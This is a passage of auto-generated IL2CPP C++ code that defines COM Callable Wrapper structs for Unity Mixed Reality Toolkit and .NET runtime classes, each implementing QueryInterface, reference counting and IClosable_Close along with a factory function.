il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider struct WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.XR.WindowsMR.XRAnchorStore struct XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.XRSDK.XRSDKBoundarySystem struct XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager struct XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_ComCallableWrapper(obj)); } // COM Callable Wrapper for System.Diagnostics.Tracing.ActivityFilter/d__7 struct U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IIterable_1_t64693143CE4E5082C6101BC54B0427C21F3C01C4, IBindableIterable_tF6BD0C070562CD9C91E3C1B1A5F4667E9C3C74A8, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IIterable_1_t64693143CE4E5082C6101BC54B0427C21F3C01C4::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IBindableIterable_tF6BD0C070562CD9C91E3C1B1A5F4667E9C3C74A8::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(3); interfaceIds[0] = IIterable_1_t64693143CE4E5082C6101BC54B0427C21F3C01C4::IID; interfaceIds[1] = IBindableIterable_tF6BD0C070562CD9C91E3C1B1A5F4667E9C3C74A8::IID; interfaceIds[2] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 3; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IIterable_1_First_m54AC7E778E98ED35C6B7AD98C35C325B8A3DF619(IIterator_1_tB1AB5AB497E87D6A397AA084D3D3D6B8D211022C** comReturnValue) IL2CPP_OVERRIDE { return IIterable_1_First_m54AC7E778E98ED35C6B7AD98C35C325B8A3DF619_ComCallableWrapperProjectedMethod(GetManagedObjectInline(), comReturnValue); } virtual il2cpp_hresult_t STDCALL IBindableIterable_First_m91EC6ED0173145266318FDB7F9074798CD766BD7(IBindableIterator_tD7550F1144CFBE58090050457A2BE92B1CAEABBB** comReturnValue) IL2CPP_OVERRIDE { return IBindableIterable_First_m91EC6ED0173145266318FDB7F9074798CD766BD7_ComCallableWrapperProjectedMethod(GetManagedObjectInline(), comReturnValue); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491_ComCallableWrapper(obj)); } // COM Callable Wrapper for System.Reflection.Assembly/UnmanagedMemoryStreamForModule struct UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12 struct U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__14 struct U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return 